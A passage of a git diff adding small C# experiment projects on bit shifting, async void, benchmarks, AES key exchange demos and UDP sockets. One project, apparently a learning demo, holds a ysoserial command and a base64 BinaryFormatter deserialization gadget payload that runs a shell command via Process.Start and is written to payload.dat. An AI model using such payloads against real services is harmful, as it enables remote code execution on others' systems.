MyClass(); + TypedReference instanceRef = __makeref(instance); + IntPtr instancePtr = **(IntPtr**)(&instanceRef); + + Console.WriteLine($"{instancePtr:X}"); +} + +class MyClass +{ +} diff --git a/csharp/E029-CircularBitShift/CircularShiftingInt.cs b/csharp/E029-CircularBitShift/CircularShiftingInt.cs new file mode 100644 index 0000000..49d1aa9 --- /dev/null +++ b/csharp/E029-CircularBitShift/CircularShiftingInt.cs @@ -0,0 +1,49 @@ +namespace E029_CircularBitShift; + +internal struct CircularShiftingInt +{ + private int _value; + + public static implicit operator CircularShiftingInt(int value) => new() {_value = value}; + public static implicit operator int(CircularShiftingInt value) => value._value; + public static int operator <<(CircularShiftingInt value, int shift) => CircularLeftShift(value, shift); + public static int operator >> (CircularShiftingInt value, int shift) => CircularRightShift(value, shift); + + private static int CircularLeftShift(int value, int shift) + { + shift = Mod(shift, 32); + if (shift == 0) return value; + + var p = 0; + for (var i = 0; i < shift; i++) + { + p |= 1 << (31 - i); + } + + int cache = value & p; + cache >>= 32 - shift; + return (value << shift) | cache; + } + + private static int CircularRightShift(int value, int shift) + { + shift = Mod(shift, 32); + if (shift == 0) return value; + + var p = 0; + for (var i = 0; i < shift; i++) + { + p |= 1 << i; + } + + int cache = value & p; + cache <<= 32 - shift; + return (value >> shift) | cache; + } + + private static int Mod(int x, int m) + { + int r = x % m; + return r < 0 ? r + m : r; + } +} \ No newline at end of file diff --git a/csharp/E029-CircularBitShift/E029-CircularBitShift.csproj b/csharp/E029-CircularBitShift/E029-CircularBitShift.csproj new file mode 100644 index 0000000..8134a44 --- /dev/null +++ b/csharp/E029-CircularBitShift/E029-CircularBitShift.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E029_CircularBitShift + enable + enable + + + diff --git a/csharp/E029-CircularBitShift/Program.cs b/csharp/E029-CircularBitShift/Program.cs new file mode 100644 index 0000000..23e62db --- /dev/null +++ b/csharp/E029-CircularBitShift/Program.cs @@ -0,0 +1,6 @@ +using E029_CircularBitShift; + +CircularShiftingInt n = 0b01011000000000000000011000000000; +Console.WriteLine(Convert.ToString(n, 2).PadLeft(32, '0')); +n <<= 5; +Console.WriteLine(Convert.ToString(n, 2).PadLeft(32, '0')); diff --git a/csharp/E030-AsyncVoid/E030-AsyncVoid.csproj b/csharp/E030-AsyncVoid/E030-AsyncVoid.csproj new file mode 100644 index 0000000..826cc60 --- /dev/null +++ b/csharp/E030-AsyncVoid/E030-AsyncVoid.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E030_AsyncVoid + enable + enable + + + diff --git a/csharp/E030-AsyncVoid/Program.cs b/csharp/E030-AsyncVoid/Program.cs new file mode 100644 index 0000000..67c55d3 --- /dev/null +++ b/csharp/E030-AsyncVoid/Program.cs @@ -0,0 +1,16 @@ +Foo(); +Throw(); +Console.WriteLine("You shouldn't see this because of the exception thrown in Throw, yet here we are."); +return; + +static async void Foo() +{ + await Task.Delay(1000); + Console.WriteLine("The output will not be written."); +} + +static async void Throw() +{ + await Task.Delay(1000); + throw new Exception("This exception will not be raised"); +} diff --git a/csharp/E031-ArrayVsEnumerable/ArrayExtensions.cs b/csharp/E031-ArrayVsEnumerable/ArrayExtensions.cs new file mode 100644 index 0000000..3d6370b --- /dev/null +++ b/csharp/E031-ArrayVsEnumerable/ArrayExtensions.cs @@ -0,0 +1,125 @@ +namespace E031_ArrayVsEnumerable; + +public static class ArrayExtensions +{ + public static T[] AsArray(this T value) => new[] { value }; + public static T[] AsArray(this (T, T) value) => new[] { value.Item1, value.Item2 }; + public static T[] AsArray(this (T, T, T) value) => new[] { value.Item1, value.Item2, value.Item3 }; + public static T[] AsArray(this (T, T, T, T) value) => new[] { value.Item1, value.Item2, value.Item3, value.Item4 }; + + public static T[] AsArray(this (T, T, T, T, T) value) => + new[] { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5 }; + + public static T[] AsArray(this (T, T, T, T, T, T) value) => new[] + { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6 }; + + public static T[] AsArray(this (T, T, T, T, T, T, T) value) => new[] + { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7 }; + + public static T[] AsArray(this (T, T, T, T, T, T, T, T) value) => new[] + { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8 }; + + public static T[] AsArray(this (T, T, T, T, T, T, T, T, T) value) => new[] + { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8, value.Item9 }; + + public static T[] AsArray(this (T, T, T, T, T, T, T, T, T, T) value) => new[] + { + value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8, value.Item9, + value.Item10 + }; + + public static IEnumerable AsEnumerable(this T value) + { + yield return value; + } + + public static IEnumerable AsEnumerable(this (T, T) value) + { + yield return value.Item1; + yield return value.Item2; + } + + public static IEnumerable AsEnumerable(this (T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T ) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + yield return value.Item7; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + yield return value.Item7; + yield return value.Item8; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + yield return value.Item7; + yield return value.Item8; + yield return value.Item9; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + yield return value.Item7; + yield return value.Item8; + yield return value.Item9; + yield return value.Item10; + } +} diff --git a/csharp/E031-ArrayVsEnumerable/E031-ArrayVsEnumerable.csproj b/csharp/E031-ArrayVsEnumerable/E031-ArrayVsEnumerable.csproj new file mode 100644 index 0000000..3ae07a6 --- /dev/null +++ b/csharp/E031-ArrayVsEnumerable/E031-ArrayVsEnumerable.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E031_ArrayVsEnumerable + enable + enable + + + + + + + diff --git a/csharp/E031-ArrayVsEnumerable/Program.cs b/csharp/E031-ArrayVsEnumerable/Program.cs new file mode 100644 index 0000000..942c43c --- /dev/null +++ b/csharp/E031-ArrayVsEnumerable/Program.cs @@ -0,0 +1,33 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; +using E031_ArrayVsEnumerable; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ArrayVsEnumerable +{ + [Benchmark] + public int[] ConcatWithArraySingleton() + { + return 0.AsArray().Concat(5.AsArray()).ToArray(); + } + + [Benchmark] + public int[] ConcatWithEnumerableSingleton() + { + return 0.AsEnumerable().Concat(5.AsEnumerable()).ToArray(); + } + + [Benchmark] + public int[] ConcatWithArrayTuple() + { + return (1, 2, 3).AsArray().Concat((4, 5, 6).AsArray()).ToArray(); + } + + [Benchmark] + public int[] ConcatWithEnumerableTuple() + { + return (1, 2, 3).AsEnumerable().Concat((4, 5, 6).AsEnumerable()).ToArray(); + } +} diff --git a/csharp/E032-BinaryFormatterExploit/E032-BinaryFormatterExploit.csproj b/csharp/E032-BinaryFormatterExploit/E032-BinaryFormatterExploit.csproj new file mode 100644 index 0000000..6431618 --- /dev/null +++ b/csharp/E032-BinaryFormatterExploit/E032-BinaryFormatterExploit.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E032_BinaryFormatterExploit + enable + enable + + + diff --git a/csharp/E032-BinaryFormatterExploit/Program.cs b/csharp/E032-BinaryFormatterExploit/Program.cs new file mode 100644 index 0000000..88d5381 --- /dev/null +++ b/csharp/E032-BinaryFormatterExploit/Program.cs @@ -0,0 +1,3 @@ +// ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegateMono -o base64 -c 'start https://olivr.me/binaryformatter/' +const string base64 = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAACovYyBzdGFydCBodHRwczovL29saXZyLm1lL2JpbmFyeWZvcm1hdHRlci8GBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkJAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCgAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYLAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDAAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg0AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDgAAAAVTdGFydAkPAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ4AAAAJDAAAAAkNAAAABhMAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQ8AAAAIAAAACQoAAAAJCwAAAAoJDAAAAAkNAAAACQ4AAAAKCw=="; +File.WriteAllBytes("payload.dat", Convert.FromBase64String(base64)); diff --git a/csharp/E033-EncryptionLocal/E033-EncryptionLocal.csproj b/csharp/E033-EncryptionLocal/E033-EncryptionLocal.csproj new file mode 100644 index 0000000..0a629d7 --- /dev/null +++ b/csharp/E033-EncryptionLocal/E033-EncryptionLocal.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E033_EncryptionLocal + enable + enable + + + diff --git a/csharp/E033-EncryptionLocal/Program.cs b/csharp/E033-EncryptionLocal/Program.cs new file mode 100644 index 0000000..1c1749d --- /dev/null +++ b/csharp/E033-EncryptionLocal/Program.cs @@ -0,0 +1,74 @@ +using System.Security.Cryptography; +using System.Text; + +await using Stream stream = await EncryptMessageAsync(); +await DecryptMessageAsync(stream); + +await Task.Delay(-1); +return; + +static async Task EncryptMessageAsync() +{ + using var aes = Aes.Create(); + aes.GenerateKey(); + aes.GenerateIV(); + + using ICryptoTransform encryptor = aes.CreateEncryptor(); + var stream = new MemoryStream(); + await using var crypto = new CryptoStream(stream, encryptor, CryptoStreamMode.Write, true); + + await using (var writer = new BinaryWriter(stream, Encoding.UTF8, true)) + { + Console.WriteLine($"Client sending key: {BitConverter.ToString(aes.Key)}"); + Console.WriteLine($"Client sending IV: {BitConverter.ToString(aes.IV)}"); + + // send key and iv unencrypted + writer.Write(aes.Key.Length); + writer.Write(aes.Key); + writer.Write(aes.IV.Length); + writer.Write(aes.IV); + } + + await using (var writer = new BinaryWriter(crypto, Encoding.UTF8, true)) + { + // send encrypted message + byte[] message = "Hello, world!"u8.ToArray(); + + writer.Write(message.Length); + Console.WriteLine($"Writing {message.Length} bytes"); + writer.Write(message); + } + + await crypto.FlushFinalBlockAsync(); + + stream.Position = 0; + return stream; +} + +static async Task DecryptMessageAsync(Stream stream) +{ + using var aes = Aes.Create(); + + using (var reader = new BinaryReader(stream, Encoding.UTF8, true)) + { + int keyLength = reader.ReadInt32(); + aes.Key = reader.ReadBytes(keyLength); + + int ivLength = reader.ReadInt32(); + aes.IV = reader.ReadBytes(ivLength); + + Console.WriteLine($"Server received key: {BitConverter.ToString(aes.Key)}"); + Console.WriteLine($"Server received IV: {BitConverter.ToString(aes.IV)}"); + } + + using ICryptoTransform decryptor = aes.CreateDecryptor(); + await using var crypto = new CryptoStream(stream, decryptor, CryptoStreamMode.Read, true); + using (var reader = new BinaryReader(crypto, Encoding.UTF8, true)) + { + int length = reader.ReadInt32(); + Console.WriteLine($"Reading {length} bytes"); + + byte[] message = reader.ReadBytes(length); + Console.WriteLine($"Server received message: {Encoding.UTF8.GetString(message)}"); + } +} diff --git a/csharp/E034-EncryptionNetwork/E034-EncryptionNetwork.csproj b/csharp/E034-EncryptionNetwork/E034-EncryptionNetwork.csproj new file mode 100644 index 0000000..89f6028 --- /dev/null +++ b/csharp/E034-EncryptionNetwork/E034-EncryptionNetwork.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E034_EncryptionNetwork + enable + enable + + + diff --git a/csharp/E034-EncryptionNetwork/Program.Old.cs b/csharp/E034-EncryptionNetwork/Program.Old.cs new file mode 100644 index 0000000..a8d61e2 --- /dev/null +++ b/csharp/E034-EncryptionNetwork/Program.Old.cs @@ -0,0 +1,81 @@ +/* +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Text; + +_ = Task.Run(ServerWorker); +_ = Task.Run(ClientWorker); + +await Task.Delay(-1); +return; + +static async Task ClientWorker() +{ + using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp); + await socket.ConnectAsync(new IPEndPoint(IPAddress.Loopback, 1234)); + + using var aes = Aes.Create(); + aes.GenerateKey(); + aes.GenerateIV(); + + await using var stream = new NetworkStream(socket); + await using var crypto = new CryptoStream(stream, aes.CreateEncryptor(), CryptoStreamMode.Write, true); + + await using (var writer = new BinaryWriter(stream, Encoding.UTF8, true)) + { + Console.WriteLine($"Client sending key: {BitConverter.ToString(aes.Key)}"); + Console.WriteLine($"Client sending IV: {BitConverter.ToString(aes.IV)}"); + + // send key and iv unencrypted + writer.Write(aes.Key.Length); + writer.Write(aes.Key); + writer.Write(aes.IV.Length); + writer.Write(aes.IV); + } + + await using (var writer = new BinaryWriter(crypto, Encoding.UTF8, true)) + { + const string message = "Hello, world!"; + + // send encrypted message + Console.WriteLine($"Client sending message: {message}"); + writer.Write(message); + } + + await crypto.FlushFinalBlockAsync(); + await Task.Delay(-1); +} + +static async Task ServerWorker() +{ + using var listener = new Socket(SocketType.Stream, ProtocolType.Tcp); + listener.Bind(new IPEndPoint(IPAddress.Any, 1234)); + listener.Listen(1); + + using Socket client = await listener.AcceptAsync(); + await using var stream = new NetworkStream(client); + using var aes = Aes.Create(); + + using (var reader = new BinaryReader(stream, Encoding.UTF8, true)) + { + int keyLength = reader.ReadInt32(); + aes.Key = reader.ReadBytes(keyLength); + + int ivLength = reader.ReadInt32(); + aes.IV = reader.ReadBytes(ivLength); + + Console.WriteLine($"Server received key: {BitConverter.ToString(aes.Key)}"); + Console.WriteLine($"Server received IV: {BitConverter.ToString(aes.IV)}"); + } + + await using var crypto = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read, true); + using (var reader = new BinaryReader(crypto, Encoding.UTF8, true)) + { + Console.Write("Server received message: "); + Console.WriteLine(reader.ReadString()); + } + + await Task.Delay(-1); +} +*/ diff --git a/csharp/E034-EncryptionNetwork/Program.cs b/csharp/E034-EncryptionNetwork/Program.cs new file mode 100644 index 0000000..89236b2 --- /dev/null +++ b/csharp/E034-EncryptionNetwork/Program.cs @@ -0,0 +1,110 @@ +using System.IO.Compression; +using System.Net; +using System.Net.Sockets; +using System.Numerics; +using System.Security.Cryptography; +using System.Text; + +await Task.WhenAll(ServerTask(), ClientTask()); +await Task.Delay(-1); +return; + +static async Task ClientTask() +{ + using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp); + await socket.ConnectAsync(new IPEndPoint(IPAddress.Loopback, 1234)); + + using var aes = Aes.Create(); + aes.GenerateKey(); + aes.GenerateIV(); + + await using var stream = new NetworkStream(socket); + + SendAesKey(stream, aes); + + const string message = "Hello"; + Console.WriteLine($"Client sending message: {message}"); + SendEncryptedMessage(Encoding.UTF8.GetBytes(message), stream, aes); + + await Task.Delay(-1); +} + +static async Task ServerTask() +{ + using var listener = new Socket(SocketType.Stream, ProtocolType.Tcp); + listener.Bind(new IPEndPoint(IPAddress.Any, 1234)); + listener.Listen(1); + + using Socket client = await listener.AcceptAsync(); + await using var stream = new NetworkStream(client); + using var aes = Aes.Create(); + + ReadAesKey(stream, aes); + Console.WriteLine($"Server received message: {Encoding.UTF8.GetString(ReadEncryptedMessage(stream, aes))}"); + + await Task.Delay(-1); +} + +static void ReadAesKey(Stream stream, SymmetricAlgorithm aes) +{ + using var reader = new BinaryReader(stream, Encoding.UTF8, true); + aes.Key = reader.ReadBytes(IPAddress.NetworkToHostOrder(reader.ReadInt32())); + aes.IV = reader.ReadBytes(IPAddress.NetworkToHostOrder(reader.ReadInt32())); +} + +static void SendAesKey(Stream stream, SymmetricAlgorithm aes) +{ + using var writer = new BinaryWriter(stream, Encoding.UTF8, true); + writer.Write(IPAddress.HostToNetworkOrder(aes.Key.Length)); + writer.Write(aes.Key); + writer.Write(IPAddress.HostToNetworkOrder(aes.IV.Length)); + writer.Write(aes.IV); +} + +static byte[] ReadEncryptedMessage(Stream inputStream, SymmetricAlgorithm aes) +{ + using var inputReader = new BinaryReader(inputStream, Encoding.UTF8, true); + using ICryptoTransform cryptoTransform = aes.CreateDecryptor(); + + // read unencrypted length header + using var buffer = new MemoryStream(); + int length = IPAddress.NetworkToHostOrder(inputReader.ReadInt32()); + Console.WriteLine($"Reading {length} bytes"); + buffer.Write(inputReader.ReadBytes(length)); + + // read encrypted data + Console.WriteLine($"Read {buffer.Length} bytes"); + Console.WriteLine("Decrypting..."); + buffer.Position = 0; + using var cryptoStream = new CryptoStream(buffer, cryptoTransform, CryptoStreamMode.Read); + using var gzip = new GZipStream(cryptoStream, CompressionMode.Decompress); + using var cryptoReader = new BinaryReader(gzip, Encoding.UTF8); + length = IPAddress.NetworkToHostOrder(cryptoReader.ReadInt32()); + Console.WriteLine($"Need to read {length} bytes"); + return cryptoReader.ReadBytes(length); +} + + static void SendEncryptedMessage(byte[] message, Stream outputStream, SymmetricAlgorithm aes) +{ + using var outputWriter = new BinaryWriter(outputStream, Encoding.UTF8, true); + using ICryptoTransform cryptoTransform = aes.CreateEncryptor(); + + // encrypt data + using var buffer = new MemoryStream(); + using var cryptoStream = new CryptoStream(buffer, cryptoTransform, CryptoStreamMode.Write); + using var gzip = new GZipStream(cryptoStream, CompressionMode.Compress); + using var cryptoWriter = new BinaryWriter(gzip, Encoding.UTF8); + cryptoWriter.Write(IPAddress.HostToNetworkOrder(message.Length)); + cryptoWriter.Write(message); + cryptoWriter.Flush(); + cryptoStream.FlushFinalBlock(); + + buffer.Position = 0; + + // sent encrypted data with unencrypted length header + Console.WriteLine($"Writing {buffer.Length} bytes"); + outputWriter.Write(IPAddress.HostToNetworkOrder((int)BitOperations.RoundUpToPowerOf2((uint)buffer.Length))); + buffer.CopyTo(outputStream); + outputStream.Flush(); + Console.WriteLine("Message sent"); +} diff --git a/csharp/E035-Expressions/E035-Expressions.csproj b/csharp/E035-Expressions/E035-Expressions.csproj new file mode 100644 index 0000000..e715d73 --- /dev/null +++ b/csharp/E035-Expressions/E035-Expressions.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E035_Expressions + enable + enable + + + diff --git a/csharp/E035-Expressions/Program.cs b/csharp/E035-Expressions/Program.cs new file mode 100644 index 0000000..0b7104d --- /dev/null +++ b/csharp/E035-Expressions/Program.cs @@ -0,0 +1,14 @@ +using System.Linq.Expressions; + +Foo(() => new Exception("Hello", new ArgumentException("World"))); +return; + +static void Foo(Expression> expression) +{ + foreach (Expression argument in (expression.Body as NewExpression)!.Arguments) + { + Console.WriteLine(argument); + } + + Console.WriteLine(string.Join(Environment.NewLine, expression.Parameters)); +} diff --git a/csharp/E036-NegateVsTimesMinus1Benchmarks/E036-NegateVsTimesMinus1Benchmarks.csproj b/csharp/E036-NegateVsTimesMinus1Benchmarks/E036-NegateVsTimesMinus1Benchmarks.csproj new file mode 100644 index 0000000..ee13287 --- /dev/null +++ b/csharp/E036-NegateVsTimesMinus1Benchmarks/E036-NegateVsTimesMinus1Benchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E036_NegateVsTimesMinus1Benchmarks + enable + enable + + + + + + + diff --git a/csharp/E036-NegateVsTimesMinus1Benchmarks/Program.cs b/csharp/E036-NegateVsTimesMinus1Benchmarks/Program.cs new file mode 100644 index 0000000..d34e06b --- /dev/null +++ b/csharp/E036-NegateVsTimesMinus1Benchmarks/Program.cs @@ -0,0 +1,20 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob] +public class NegateVsTimesMinus1Benchmarks +{ + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + public float Negate(float x) => -x; + + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + public float TimesMinus1(float x) => x * -1; +} diff --git a/csharp/E037-FractionReduce/E037-FractionReduce.csproj b/csharp/E037-FractionReduce/E037-FractionReduce.csproj new file mode 100644 index 0000000..94fee3d --- /dev/null +++ b/csharp/E037-FractionReduce/E037-FractionReduce.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E037_FractionReduce + enable + enable + + + diff --git a/csharp/E037-FractionReduce/Program.cs b/csharp/E037-FractionReduce/Program.cs new file mode 100644 index 0000000..6736d53 --- /dev/null +++ b/csharp/E037-FractionReduce/Program.cs @@ -0,0 +1,16 @@ +Console.WriteLine(Reduction(7, 16)); +return; + +static string Reduction(int numerator, int denominator) +{ + for (var i = 10; i > 1; i--) + { + while (numerator % i == 0 && denominator % i == 0) + { + numerator /= i; + denominator /= i; + } + } + + return $"{numerator}/{denominator}"; +} diff --git a/csharp/E038-RecursionBenchmarks/E038-RecursionBenchmarks.csproj b/csharp/E038-RecursionBenchmarks/E038-RecursionBenchmarks.csproj new file mode 100644 index 0000000..7ca966a --- /dev/null +++ b/csharp/E038-RecursionBenchmarks/E038-RecursionBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E038_RecursionBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E038-RecursionBenchmarks/Program.cs b/csharp/E038-RecursionBenchmarks/Program.cs new file mode 100644 index 0000000..d2fba52 --- /dev/null +++ b/csharp/E038-RecursionBenchmarks/Program.cs @@ -0,0 +1,55 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class RecursionBenchmarks +{ + [Benchmark] + [Arguments("C:\\Mame")] + public void ListFilesWithRecursion(string path) + { + try + { + foreach (string file in Directory.GetFiles(path)) + { + // print filename + } + + foreach (string subDir in Directory.GetDirectories(path)) + ListFilesWithRecursion(subDir); + } + catch (UnauthorizedAccessException) + { + // ignored + } + } + + [Benchmark] + [Arguments("C:\\Mame")] + public void ListFilesWithIteration(string path) + { + Queue queue = new Queue(); + queue.Enqueue(path); + + while (queue.Count > 0) + { + string currentDir = queue.Dequeue(); + try + { + foreach (string file in Directory.GetFiles(currentDir)) + { + // print filename + } + + foreach (string subDir in Directory.GetDirectories(currentDir)) + queue.Enqueue(subDir); + } + catch (UnauthorizedAccessException) + { + // ignored + } + } + } +} diff --git a/csharp/E039-UdpTest/E039-UdpTest.csproj b/csharp/E039-UdpTest/E039-UdpTest.csproj new file mode 100644 index 0000000..12c8440 --- /dev/null +++ b/csharp/E039-UdpTest/E039-UdpTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E039_UdpTest + enable + enable + + + diff --git a/csharp/E039-UdpTest/Program.cs b/csharp/E039-UdpTest/Program.cs new file mode 100644 index 0000000..b065e09 --- /dev/null +++ b/csharp/E039-UdpTest/Program.cs @@ -0,0 +1,40 @@ +using System.Net; +using System.Net.Sockets; +using System.Text; + +_ = Task.Run(ClientWorker); +_ = Task.Run(ServerWorker); + +await Task.Delay(-1); // keep app open +return; + +static async Task ClientWorker() +{ + using var client = new Socket(SocketType.Dgram, ProtocolType.Udp); + EndPoint endpoint = new IPEndPoint(IPAddress.Loopback, 1234); + + var message = new byte[11]; + Encoding.ASCII.GetBytes("Hello World", message); + + Console.WriteLine("[CLIENT] Sending message to server"); + await client.SendToAsync(message, SocketFlags.None, endpoint); + + Console.WriteLine("[CLIENT] Waiting for response"); + message = new byte[11]; + await client.ReceiveFromAsync(message, SocketFlags.None, endpoint); + + Console.WriteLine($"[CLIENT] Received response: \"{Encoding.ASCII.GetString(message)}\""); +} + +static async Task ServerWorker() +{ + using var server = new Socket(SocketType.Dgram, ProtocolType.Udp); + EndPoint endpoint = new IPEndPoint(IPAddress.Any, 1234); + server.Bind(endpoint); + + var buffer = new byte[11]; + SocketReceiveMessageFromResult result = await server.ReceiveMessageFromAsync(buffer, SocketFlags.None, endpoint); + + Console.WriteLine($"[SERVER] Server received \"{Encoding.ASCII.GetString(buffer)}\". Sending the same message back"); + await server.SendToAsync(buffer, SocketFlags.None, result.RemoteEndPoint); +} diff --git a/csharp/E040-CleverUsing/E040-CleverUsing.csproj b/csharp/E040-CleverUsing/E040-CleverUsing.csproj new file mode 100644 index 0000000..620777d --- /dev/null +++ b/csharp/E040-CleverUsing/E040-CleverUsing.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E040_CleverUsing + enable + enable + + + diff --git a/csharp/E040-CleverUsing/Program.cs b/csharp/E040-CleverUsing/Program.cs new file 